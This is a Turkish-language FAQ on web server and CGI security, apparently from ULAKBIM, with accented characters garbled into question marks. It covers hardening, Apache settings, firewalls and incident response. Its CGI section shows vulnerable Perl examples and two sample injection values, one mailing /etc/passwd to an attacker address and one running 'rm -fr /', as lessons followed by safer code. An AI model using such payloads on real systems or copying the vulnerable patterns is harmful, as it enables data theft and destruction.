Bütün bilgisayarlar?n ve programlar?n insan elinden ç?kt??? dü?ünülürse, onlara zorla girebilecek ba?ka ki?ilerin varolmas? da çok normaldir. Web sunucular? gibi çoklu kullan?c? ve d?? dünyaya aç?k olmas? zorunlu sistemlerdeyse bu risk katlanmaktad?r. Genel olarak bir Web sunucusunun güvenlik aç?klar?n?n sebepleri ?unlardan bir k?sm? veya hepsidir:

  • Kar?? uç
  • Kullan?c? verileri
  • Web sunucusu
  • Web taray?c?s?
  • CGI, ya da genel olarak sunucu taraf? çal??an programlar ve onlar?n ça??rd??? programlar

Kar?? uç: Hatt? dinleyen, sistemdeki aç?klar? taratan bir sald?rgan da olabilir, virüs gibi sisteme istenmeden yerle?en bir program da.

Kullan?c? verileri: ?stemciden ald???n?z veriler; bu verileri her ne ?ekilde i?lerseniz i?leyin, bir kontrolden geçirmek faydal? olacakt?r.

Web sunucusu: Kullan?lan Web sunucusunun çe?itli aç?klar? biliniyor olabilir. Güvenlik sitelerinde ara?t?rma yaparak, kulland???n?z sunucu sürümüne özel, ya da eski sürümlerde olup, sizdeki sürümde hala kapat?lmam?? aç?klar?n bir listesini ç?karman?z faydal? olacakt?r.

Web taray?c?s?: 2. maddeyle birle?ik dü?ünülebilir. Güvenli?iniz, kullan?c?dan gelen verileri do?rulamak için istemci taraf? tekniklere (ör. JavaScript'le form do?rulama) dayand?r?lmamal?d?r.

CGI, sunucu taraf? programlar: Web sunucunuz, CGI programlar?yla sald?r?ya daha aç?k hale gelebilir, ancak bu her zaman daha güvensiz olacakt?r ?eklinde de yorumlanmamal?d?r.

S?kça sorulan sorular:

Soru:
Hangi i?letim sistemi daha güvenlidir?

Cevap:
Her i?letim sisteminin kendine has güvenlik delikleri vard?r. Ancak bunlar?n bir k?sm? acemi sald?rganlara kolay geçit vermezken, baz?lar? her gelene kap?y? açabilirler. Sitenizi tasarlarken e?er her?eyden önce güvenli?i ön plana al?yorsan?z, Unix türevi bir i?letim sistemi (ancak hepsi de?il) kullanman?z yerinde olacakt?r. Örne?in, FreeBSD geli?tirilirken çok güvenli bir Internet sunucusu olarak tasarlanm??t?r. Ancak, Linux, Solaris, HP-UX gibi sistemler de bu i? için çok uygundur. Windows 95/98 gibi son kullan?c?y? hedef alan i?letim sistemleriyse asla ciddi bir alternatif olarak görülmemelidir. Windows NT'yse paketten ç?kt??? haliyle pek güvenli de?ildir, ve güvenli hale getirilmesi için biraz u?ra??lmas? gerekir.

Soru:
Web sunucusunu root olarak çal??t?rman?n yanl?? oldu?unu duydum, bu do?ru mu?

Cevap:
Unix i?letim sisteminde 1024'den küçük bir port'u dinlemek için, root eri?im haklar?na sahip olmak gerekir. Birçok sunucu, ilk aç?l?? esnas?nda root olarak çal???r, ancak daha sonra 'effective uid'sini çok k?s?tl? haklar? olan nobody gibi bir kullan?c?ya çevirir. Bu haliyle birçok sunucuda (ör. kaynak kodu aç?k olan Apache'de) bir güvenlik deli?i görünmemektedir, ve bu haliyle bu sistem iyi çal??maktad?r. Ancak yine de nobody kullan?c?s?n?n sistemi kullanarak e-posta gönderme (sistemdeki /etc/passwd dosyas? gibi) gibi haklar? vard?r. Ancak buradaki sorunun kayna?? kullan?c?n?n kimli?i de?il, çal??t?r?lan CGI (genel olarak sunucu taraf? çal??an her tür dil, ASP, Perl, C, PHP vb) uygulamalar?d?r denebilir.

Bu soruyla as?l olarak kastedilense, sunucunun çal??t?ktan sonra da root uid'sini kullanmas?, ve örne?in CGI'lar?n root haklar?na sahip olarak çal??mas?d?r ki, bu gerçekten aç?labilecek en büyük deliklerden biridir.

Windows sistemlerindeyse, s?radan bir kullan?c? bile 80. port'u dinleyebildi?i için, IIS (3 ve 4 sürümlerinde) sunucunuzu göçerterek yerine kendi istedi?i bir program? çal??t?rabilir, ve sitenizi ziyaret edenler, Web sayfalar?n?z yerine sald?rgan?n istedi?i herhangi bir ç?kt?y? görebilirler.

Soru:
SSH nedir?

Cevap:
SSH, Secure Shell'in k?saltmas?d?r ve ?ifrelenmi? telnet diyebilece?imiz bir ba?lant? sa?lar. Bir SSH program?yla kar?? tarafa ba?land???n?zda, kar?? makineyle bir anahtar de?i?imi yapars?n?z. Bu anahtarlarla, kar?? tarafa gönderece?iniz bilgiyi ?ifreleyebilir ancak açamazs?n?z. Ayn? ?ekilde, kar??daki makineden size gelen bilgiler de sizin gönderdi?iniz anahtarla ?ifrelenir, ama yaln?z sizin özel anahtar?n?zla aç?labilir. Dolay?s?yla, hatt? dinleyerek paketleri inceleyen biri olsa bile, giden mesajlar? çözemeyece?i için ileti?im güvenli olacakt?r.

Soru:
Chroot ortam? nedir?

Cevap:
Unix sistemlerinde Chroot (Change root) komutuyla Web sunucuyu "güvenli bir kutu" içinde çal??t?rabilirsiniz. Chroot ortam?nda, sunucu Web sayfalar?n?n durdu?u dizin d???nda, dosya sisteminde hiçbir dizini göremez. Ancak sunucunun bu ortamda çal??abilmesi için de, i?letim sisteminin mini bir kopyas? bu dizinin içinde durmal?d?r. Böyle bir mini i?letim sistemi kurmak da gerçekten zordur. Böyle bir ortam kuruldu?u zaman ise, CGI programlar?n?n çal??t?r?lmas? zorla??r, çünkü derlenmi? ya da yorumlanan dillerin bu mini i?letim sistemine konulmas? imkans?z gibidir. Konulmas? zorunluysa, chroot ortam? kullanman?n anlam? ortadan kalkacakt?r.

Soru:
Sunucunun üstünde zaten çok fazla veri yok. Bir sald?rgan girse ne olur ki?

Cevap:
Bir sald?rgan yerel a??n?za girdi?inde, a?? dinleyen bir program çal??t?rarak (ör. snoop Solaris'lerde haz?r olarak gelmektedir), a? üzerinden ?ifrelenmemi? olarak giden tüm paketleri dinleyebilir, ?ifrelerinizi ve hassas verilerinizi ö?renebilir. Bu tip programlara genel olarak sniffer (~koklay?c?) denir ve Internet üzerinde 10'larca türevi vard?r.

A? üzerindeki sniffer'lar? tespit edebilen baz? sistem yönetim programlar? da vard?r. Ancak bunun bir tespit yöntemi de, yo?un trafi?i olan ancak kabul edilebilir h?zda çal??an bir a?da, sniffer çal??t?r?ld??? zaman a? performans?n hissedilir olarak dü?mesidir.

Her ihtimale kar?? yerel a?da bile çal???rken, SSH gibi programlar kullan?lmal?d?r.

Soru:
Siteme bir ziyaretçi defteri (guestbook), sayaç vb eklemek istiyorum, güvenli midir?

Cevap:
Ziyaretçi defterlerinin ço?u basit programlard?r ve birço?unun hatalar içerdi?i bilinmektedir. Bu tip programlar?n hemen hepsi diske yazma, diskten okuma i?lemleri yapt??? için potansiyel tehlike arzederler. Ayr?ca, HTML kodlar?n?n ay?klanmamas? da, sayfan?zda istenmeyen görüntüler yaratabilir.

Sayaçlar da benzer ?ekilde disk üzerinde okuma ve yazma i?lemleri yapt?klar? için potansiyel tehlikeli s?n?f?na girerler. Ayr?ca, ziyaretçi defterleri de sayaçlar da genel olarak zaten pek i?e yaramayan programlard?r, ve sitenin kullan?m de?erini artt?rmazlar. Özellikle bedava sayaç veren sitelerden al?nanlar da, siteye ba?lant? h?z?n? dü?ürebilirler.

Prensip olarak bilmedi?iniz bir program? kullanmaya ba?lamadan önce, ?unlar? bir gözden geçirin:

  • Ayn? program? kullanan di?er ki?ilerin tecrübeleri
  • Program?n kaynak kodu elinizdeyse, disk eri?imi, a? eri?imi yap?p yapmad???, ve socket kullan?p kullanmad???
  • Kritik de?i?kenlerin, özellikle de istemci taraf?ndan gelen veri ya da istek dolay?s?yla ortama eklenen de?i?kenlerde buffer overflow (tampon ta?mas?) olup olmayaca??
  • Program?n truva at? çal??t?r?p çal??t?rmad???
  • Program?n yetmesi gereken haklardan fazlas?n? (ör. bir ziyaretçi program? root olarak kurman?z? istiyorsa ?üphelenmek gerekir) isteyip istemedi?i

Soru:
HTML formlar?nda POST yerine GET kullanman?n daha güvenli oldu?unu duydum. Bu nas?l olur?

Cevap:
Asl?nda burada kastedilen GET'in daha güvenli oldu?u de?ildir. POST metoduyla gönderilen veriler, sunucunun kay?t dosyalar?nda görünmezken, GET metodunda kay?tlara geçerler. Dolay?s?yla CGI'?n?za kurald??? parametreler göndermeye çal??an sald?rganlar?n tüm hareketleri sizde kay?tl? olacakt?r.

Soru:
AUP nedir?

Cevap:
Acceptable Use Policy - Kabul edilebilir kullan?m politikas?. Sistemi kullanan ki?ilerin, a? üzerinde nas?l davranmalar? gerekti?i, hangi tip programlar? çal??t?rabilecekleri, hangilerini çal??t?rmamalar? gerekti?i vb bilgilerin bulundu?u bir belgedir. Mutlaka kullan?c?lar?n?zdan, sisteme girmelerinden önce böyle bir belgeyi kabul ettiklerini onaylamalar?n? isteyiniz.

Web sunucular?nda, AUP'nin yeriyse daha çok sitenize içerik haz?rlayan ki?ilerin kabul etmesi amaçl?d?r. Web sitenizin durdu?u makineyi kullanan ki?ilere güvenlik politikan?z? aç?klayan bir belge haz?rlay?n?z.

Soru:
CGI programlar?mda neye dikkat etmeliyim?

Cevap:

  • Asla, asla ve asla, kullan?c?dan ald???n?z verileri bir komut sat?r?na parametre olarak bile göndermeyin. Bu maddeyi hiç akl?n?zdan ç?karmad???n?z zaman, en büyük aç?klardan birini kapat?rs?n?z.
  • 1. maddeyi uygulayamaman?z halinde, kabuk metakarakterlerini (shell metacharacters, ör. &;<>|* vb) karakterleri mutlaka kontrol ediniz. Baz? örnekler vermek gerekirse:
    • Kullan?c?n?n verdi?i bir adrese e-posta göndermek için ?u Perl kodu yaz?lm?? olsun:

      $eadres = &getadres;
      open(EPOSTA, "| /var/lib/sendmail   $eadres);
      print EPOSTA, "To: $eadres\nFrom:   ulakbim@ulakbim.gov.tr\n\n
        Te?ekkürler\n";
      close EPOSTA;

      Bu durumda bir sald?rgan, ?u ?ekilde bir e-posta adresi vererek makinenizdeki ?ifre dosyas?n? ele geçirebilir:
      hickimse@hicbiryer; mail saldirgan@kotu.yer < /etc/passwd
      Daha iyi bir yol ?u olabilir:

      $eadres = &getadres;
      open(EPOSTA, "| /var/lib/sendmail   -t);
      print EPOSTA<<POSTASONU;
        To: $eadres
        From: ulakbim@ulakbim.gov.tr
        Subject: Te?ekkürler
        ...
        POSTASONU
      close EPOSTA;

    • Bir ba?ka örnek vermek gerekirse, kullan?c?dan ald???n?z kelimeleri s?ralaman?z gerekiyor ve ?u Perl kodu kullan?lm??:

      system "/bin/sort < &veri_al";


      Bu sat?r, Perl'in bir kabuk açarak, sort program?n? ça??rmas?n? sa?lar. Ancak, veri_al fonksiyonundan gelen verilerde verilecek metakarakterler kabuk taraf?ndan i?leme konacakt?r: ör. "1 3 2>/dev/null; rm -fr /" (sald?rgan dosyalar? CGI'?n çal??t??? kullan?c? olarak silebilir de silemeyebilir de, ancak deneyebilece?i ilk ?ey olabilir). Bunun yerine daha iyi bir yöntem ?udur:

      system "/bin/sort", &veri_al;


      Bu yöntemde, Perl bir kabuk açmadan parametreleri do?rudan i?letim sistemine gönderir ve dolay?s?yla metakarakterler bir sorun olmazlar.
  • Yine kullan?c?dan ald???n?z verileri, parametre olarak göndermek zorundaysan?z, ald???n?z veriyi bekledi?iniz veriyle kar??la?t?r?n. Bu kar??la?t?rma i?leminde, istenmedik karakterleri atmak yerine (ki istenmeyen çok geni? bir kavramd?r), tam olarak istedi?iniz veriyle kar??la?t?rma yap?n.
    • Örne?in, kullan?c?dan bir e-posta adresi bekliyorsan?z ?u kodu kullanabilirsiniz:

      $eposta = &veri_al;
      die "Verdi?iniz adres isim@kurum.com   biçiminde de?il"
      unless (
        $eposta =~ /^[\w.+-]+\@[\w.+-]+$/;
      # bu regexp sadece eposta   adreslerini e?ler

  • Bu durumlar? uyarman?n bir yöntemi de, Perl'de bulunan tainting (lekelemek) mekanizmas?n? kullanmakt?r. Bunu yapmak için CGI program?n?z?n ba??na "#!/usr/bin/perl -T" gibi bir sat?r eklemelisiniz. -T seçene?ini verdi?iniz zaman Perl, tainted (program?n d???ndan al?nan, ör. ortamdan al?nan, standart girdiden ya da komut sat?r?ndan al?nan) de?i?kenleri system(), exec(), (|'la kullan?rsan?z) open() ve eval() komutlar?nda kullanman?za izin vermez. Ayr?ca tainted de?i?kenlerden türetti?iniz bütün de?i?kenler de otomatik olarak tainted olurlar. Tainted bir de?i?keni untainted (lekelenmemi?) bir de?i?ken haline ancak Perl'ün karakter e?leme metodlar?ndan biriyle, ör. =~, çevirebilirsiniz.
  • Özellikle, yorumlanan dillerle yazd???n?z CGI'larda ça??rd???n?z programlar?n dizinlerini aç?k olarak veriniz, ör. ls yerine /bin/ls gibi.
  • CGI programlar?n?z? tamamen yetkisiz bir kullan?c? hesab?nda çal??t?r?n?z, ör. nobody. Bu ?ekilde CGI'?n?zdaki bir hata nedeniyle, sald?rganlar CGI'?n çal??t??? hesaba eri?im hakk? kazansa bile, sisteme hemen zarar veremez.
  • Perl kullan?yorsan?z, cgi-lib.pm gibi güvenilirli?ini kan?tlam?? bir modül kullan?n?z. Not: PHP, klasik anlamda CGI (harici çal??t?r?labilir ?eklinde, ör. /usr/local/bin/php gibi fiziksel bir program) olarak ?u an için pek sa?l?kl? çal??masa da, Apache modülü olarak (ör. mod_php.so vb) gayet iyi çal??makta, ve Perl'de haz?r gelmeyen CGI i?levlerini haz?r olarak sunmaktad?r.
  • Siteniz CGI programlar? taraf?ndan üretiliyorsa, CGI programlar?n?z?n geli?mi? hata kontrolleri yapt???ndan ve bunlar?n kay?tlar?n? tuttu?undan emin olun. Mümkünse bu program, kay?tlar?n? otomatik olarak e-postayla ba?ka bir makinedeki sistem yöneticisine göndermelidir.

Soru:
Makineyi k?r?lmas? imkans?z hale nas?l getirebilirim?

Cevap:
Makinenizi kapal? tutunuz. K?r?lmas? imkans?z bir sistem yoktur.

Soru:
Özel olarak Apache için neler yapabilirim?

Cevap:

Apache, genel olarak güvenli bir sunucudur, ancak yanl?? ayarlar? sunucunun farketmesi ve sizi uyarmas? imkans?zd?r. Yine de baz? ayarlar? de?i?tirerek sistemi daha da güvenli yapabilirsiniz.

  • Öncelikle sembolik link'lerin takibini (Option FollowSymLinks) kapat?n?z (bir yolu "Option SymLinksIfOwnerMatch" demektir). Bu her ne kadar sunucunun performas?n? dü?ürse de, sistemdeki bir kullan?c? gizlice bir dizinden /etc gibi kritik bir dizine sembolik link verebilir.
  • Ayr?ca, dizinlerin otomatik listelenmesini (Option Indexes) iptal edebilirsiniz (Option None). Bir sald?rgan sisteminizde bulunan yedek dosyalar?n?, kendinize kolayl?k amac?yla olu?turdu?unuz ama silmeyi unuttu?unuz sembolik ba?lar?, geçici olu?turulan dosyalar?, CVS dosyalar?n?, sitenizin iç yap?s?n? göremezse, içeri girmesi de zor olur.
  • Sunucu hakk?nda bilgi almak için kullan?lan, /server-info ve /server-status programc?klar?n? sadece IP adreslerine eri?ilir k?lmal?s?n?z.
  • Harici bir modül olan mod_disallow_id'yle (Apache sitesinde contributed modules alt?nda bulabilirsiniz) belli kullan?c?lara, ör. root, sys, daemon veya bin'e dosyalar?n Web sunucu taraf?ndan hiç okunamamas?n?, dolay?s?yla çal??t?r?lmamas?n? da sa?layabilirsiniz.
  • Son olarak da, CGI programlar?n?z? mutlaka merkezi bir yerde tutunuz ve bu dizine yazma hakk?n? k?s?tlay?n?z. ??leri kolayla?t?r?yor görünen .cgi uzant?l? dosyalar? nerede görürsen gör çal??t?r seçene?ini aktif (yani: AddHandler cgi-script .cgi) hale getirmeyiniz.
  • Apache'yi suExec özelli?ini kullanacak ?ekilde derleyebilirsiniz. suExec, CGI programlar?n? Web sunucunun çal??t??? hesaptan ba?ka bir hesapta da çal??t?rabilir, ör. Web sunucunuzu nobody, CGI programlarini cgiuser gibi bir hesapta çal??t?rabilirsiniz.
  • Apache'yle birlikte gelen CGI script'lerinin (ör. printenv) ismini de?i?tiriniz ya da çal??t?rma hakk?n? iptal ediniz.

Soru:
Firewall nedir?

Cevap:
Bir firewall program?, yerel a?la d?? dünyay? birbirinden soyutlayarak, iki taraf aras?ndaki trafi?i k?s?tlayabilir. Örne?in, firewall'?n içinden (yerel a?) d??ar?ya FTP izni verebilir, ama d??ar?dan (dünya) içeriye FTP yap?lmas?n? engelleyebilirsiniz. Bir firewall kurmak, güvenli?i sa?laman?n en temel ad?mlar?ndan biridir. Firewall'unuzu kurduktan sonra, sistem yöneticisi, kullan?lmas? zorunlu port'lar (örne?in, Web için 80, FTP için 21, SSH için 22 vb) d???nda her port'u d?? dünyaya kapatmal?d?r.

Soru:
Peki, Web sitemi firewall'un içine mi d???na m? koymal?y?m?

Cevap:
Asl?nda tersi durum da tercih edilebilmesine ra?men, iyi bir çözüm d???na koymakt?r. Bu durumda, sunucu firewall'un korudu?u d??ar?dan her türlü sald?r?ya aç?k olacakt?r, ancak sunucuya zorla girilmesi halinde, sald?rganlar firewall'un içine girmemi? olacaklard?r (sunucunun firewall içinde kalmas? durumunda, sald?rganlar firewall'u a?t?klar? için yerel a? üzerinde - büyük ihtimalle - rahatça dola?acaklard?r). Böyle bir kurulum tercih edildi?i takdirde (sunucu bir nevi 'kurbanl?k koyun' gibi olacakt?r) unutulmamas? gereken birkaç husus da ?unlard?r:

  • Sunucunun root/admin ?ifresini ba?ka hiçbir makinede kulland???n?z root ?ifresiyle ayn? yapmay?n?z. Sunucunuza zorla giren ki?iler, ayn? ?ifreyi di?er makinelerde de deneyeceklerdir.
  • Benzer ?ekilde, sunucuda ba?ka kullan?c? hesaplar? açacaksan?z, iç sitenizde kullan?lmayan ?ifreler belirleyerek, bunlar?n de?i?tirilmemesini, hatta mümkünse eri?imin bir paketleyici (wrapper, ör. Web tabanl? bir eri?im program?) taraf?ndan yap?larak, bu ?ifrenin iç kullan?c?lar taraf?ndan bile ö?renilmemesini sa?lay?n.
  • Veritaban? kopyalama (replication), dizin senkronizasyonu gibi i?lemleri sunucudan firewall içine bir trafikle de?il, firewall içinden sunucuya do?ru bir trafikle yap?n?z.
  • Mümkünse firewall içinden sunucuya payla?t?rd???n?z dizinlere sadece okuma izni veriniz.

Soru:
Ayn? makinede hem Web hem de FTP servislerini çal??t?r?yoruz. FTP ve Web servislerinin kök dizinlerini ayn? yapmak bir güvenlik aç??? getirir mi?

Cevap:
Bu s?k yap?lan bir uygulamad?r, ve uzaktan yüklenen dosyalar do?rudan çal??t?r?lmad??? sürece herhangi bir sorun olmaz. Ancak, bir sald?rgan uzaktan yükledi?i bir CGI program?n? çal??t?rabilirse, sisteminize zarar verebilir. Böyle bir makinede, uzaktan yüklenen dosyalar? okunur yapmamal?s?n?z. Birçok FTP sitesindeki "incoming" dizini yazmaya aç?k, listeleme ve okumaya kapal?d?r. Siz de bu yolu tercih etmelisiniz.

Soru:
Sunucuya birisinin girdi?ini farkettik, ne yapmal?y?z?

Cevap:
Öncelikle pani?e kap?lmay?n ve sak?n makineyi bir anda kapatmay?n. Önce sald?rgan?n o anda ne yapmakta oldu?unu tespit etmeye çal???n ve sanki haberiniz yokmu? gibi davran?n. Bu arada root hesab?nda çal???yorsan?z, tan?mad???n?z komutlar? yanl??l?kla da olsa çal??t?rmamak için, sisteme normal bir kullan?c? olarak girin. Bu programlar root haklar?nda çal???rsa, kendi elinizle sisteme zarar vermi? olursunuz. Makinedeki önemli kay?t dosyalar?n?n (syslog, sulog vb) ve listelerin (last|more>last.out, ps-ef>ps.out vb) hemen bir kopyas?n? e-posta, scp gibi bir yöntemle ba?ka bir makineye at?n.

Makinenizi tek kullan?c? modunda (single user mode, genellikle "init s" gibi bir komutla) aç?n. Öncelikle sisteme en son eklenen, ya da de?i?tirilen dosyalar?n listesini ç?kart?n ve setuid biti aç?k programlara ya da yukar?da ald???n?z kay?tlardan bu programlar?n ald??? dosya parametrelerine bak?n?z. Kullan?c?n?n sisteme girdi?i IP adresini kay?tlardan bulmaya çal??arak, makinenin kayna?? olan yeri bulman?z da i?e yarayabilir. Bu ?ekilde, kar?? taraf?n sistem yöneticisine bir e-posta atarak durumu bildirebilirsiniz. Ayr?ca kay?tlar? inceleyerek ola?an olmayan durumlar? ara?t?r?n?z. Birçok sald?rgan, bir programa belli parametreler göndererek, onu önce ?i?meye zorlarlar (genellikle buffer overflow ?eklinde olur) sonra da makineye root eri?imi kazan?rlar. Bu ?ekilde bir program bulursan?z, o servisi önce iptal ediniz, daha sonra ba?ka bir makineden Internet'e ba?lanarak sald?rgan?n kulland??? metodlar? tespit etmeye çal???n?z. Sald?rgan?n kulland??? metodu bulursan?z, bu aç?klar? kapatman?z da daha kolay olacakt?r. Sisteminizde bir hasar tespit edebilirseniz, yedeklerinizden sistemi eski haline getiriniz. Daha sonra sunucuyu d?? dünyaya tekrar açmadan önce, yedekledi?iniz dosyalardaki (ör. CGI programlar?, yanl?? ayarlar) hatalar? da düzeltmeyi unutmay?n?z.

Not: Yukar?da bahsedilen yöntem, sistem yöneticisinden yöneticiye de?i?ebilir. Bu sadece örnek bir uygulamad?r ve fikir vermek amac?yla yaz?lm??t?r.

Soru:
Ba?ka neler yapabilirim?

Cevap:
A?a??daki maddelerin uygulanmas?, güvenlik deliklerini kapatmamakla beraber, bir felaket durumunda sistemin kurtar?lmas?n?, sorumlunun bulunmas?n?, ya da olas? güvenlik problemleri olan servislerin iptal edilmesini sa?larlar.

  • Öncelikle, sistemin dönü?ümlü yede?ini al?n?z. Bir göçme durumunda yedekler çok i?inize yarayacakt?r. Firewall olan bir ortamda, yedekleri içerideki bir makineden, d??ar?daki sunucuya güvenli bir yolla (Unix NFS ve Windows File Sharing çok güvenli metodlar de?ildir, özelle?mi? metodlar, örne?in tar/scp ikilisi, daha güvenli olabilir) ba?lanarak al?n?z. Tersini (d??ar?daki Web sunucusundan içerideki bir makinenin diskine yazmaya çal??arak) asla yapmay?n?z.
  • Web sunucunuzu mümkünse, ba?ka servislerin çal??mad???, üzerinde kullan?c?lar?n tan?mlanmad??? bir makineye ta??y?n?z.
  • Yerel a??n?zda bir SSH paketi kullan?n?z. Bu programlarla yerel a? üzerinden akan tüm trafik k?r?lmas? yüzy?llar alacak ?ekilde ?ifrelenmektedir. SSH'?n avantaj?, Web sunucunuza ba?lanmak zorunda kalan ki?ilerin, makineye gizlice girmi? bir sald?rgana ?ifrelerini kolayca kapt?rmamalar?n? sa?lar.
  • Web sunucunuzda, grafik arabirim (Unix'deki Window Manager kavram?) vb gereksiz özellikleri kapat?n?z (Windows'da bu mümkün de?ildir). Ayr?ca makine üzerindeki tüm gereksiz servisleri kapat?n?z. Örne?in, Unix'de RPC, NFS server, finger, rlogin gibi servislerin güvenlik delikleri bilinmektedir. Hatta, sendmail, inetd gibi programlar? daha güvenli "olan" qmail, xinetd gibi programlarla de?i?tiriniz. Not: Windows 2000'de bu i? imkans?z gibidir.
  • Makinenize gelen tüm servis isteklerinin bir kayd?n? al?n?z. Örne?in tcp wrapper program? (xinetd içinde bu destek de vard?r) bu i?i çok iyi yapmaktad?rlar.
  • Web sunucunuzun kay?tlar?n? düzenli olarak inceleyiniz, ve hatta bir kay?t analiz program? kullanabilirsiniz. Mümkünse bu kay?tlar? da düzenli olarak yedekleyiniz.
  • Makinenize DoS (Denial of Service) sald?r?lar?n? engelleyiniz. DoS, bir sald?r?n?n ad? de?il, bir sald?r? biçimidir, ve birden çok yöntemi vard?r. Örne?in ping paketleriyle bombard?man yaparak makinenin d?? dünyaya cevap veremez hale getirilmesi ya da Web sunucusundan 10000 karakterden olu?an bir adres istenerek sunucunun kilitlenmesi, DoS sald?r?lar?d?r. Yap?lan sald?r?n?n türüne göre farkl? önlemler vard?r.
  • Güvenli bir Web sunucusu için SSH ve HTTP servisleri yetmektedir. Geri kalan tüm servisler ekstra ihtiyaçlar?n?z için aç?lmaktad?r, ancak bir sitenin vermesi gereken minimum servisi etkilemezler.
  • ?ifrelerinizi düzenli olarak de?i?tiriniz. Bu yolla, ?ifreniz bir kere ö?renilmi? bile olsa, ö?renen ki?i bu ?ifreyi sisteminize girmek için tekrar kullanamaz. Ayr?ca, kritik makinelerinizin ?ifrelerini asla ayn? yapmay?n?z, herbiri için ayr? ?ifreler kullan?n?z.
  • A? monitörleme ve sniffer programlar?n? tespit eden programlar? kullan?n?z.
  • Genel olarak sald?rganlar, bir makineye girdikten sonra, tekrar girebilmeleri için kendilerinin bildi?i aç?k kap?lar b?rak?rlar. Sistemde çal??t?raca??n?z bir programla, sistemdeki kritik yerlerdeki (örne?in /sbin, /etc, /usr/local vb) dosyalar?n tarihlerinin de?i?ip de?i?medi?ini, eklenen/silinen programlar?n ve dosyalar?n listesini, ya da dosyalar?n içindeki de?i?iklikleri kontrol etmelisiniz. Bu tip programlara genel olarak intrusion detection programlar? ad? verilir
  • Server Side Include (Sunucu taraf? ekleme) kullan?yorsan?z, Exec komutunu kapat?n?z. Apache için bunu istedi?iniz yerler için Option IncludesNoExec yönergesiyle yapabilirsiniz.
  • CGI programlar?n?za bir paketleyici yazarak, CGI'lar?n?z? önce ona havale eder ve alt CGI'lar? onun üstünden ça??rabilirsiniz. Bunun iki avantaj? vard?r:
    • Alt programlara gerekli bilgileri devretmeden önce bir güvenlik kontrolü yapabilirsiniz.
    • Alt programlarda, kendisini ça??rmas? gereken program olarak paketleyici program? gösterirseniz, sald?rganlar?n?z?n sitenize (bir ?ekilde) yükledi?i bir program? rastgele bir biçimde çal??t?rmas?n? engelleyebilirsiniz.
    Bu metodun bir benzerini kullanan çe?itli CGI wrapper'lar mevcuttur, ör. yukar?da da bahsedilen Apache suExec, ya da cgiwrap, sbox paketleyicileri.

Kaynak www.ulakbim.gov.tr/dokumanlar/webtasarim/cgiuygulama.uhtml
Yorumunuzu Ekleyin


Yükleniyor...
    Yükleniyor...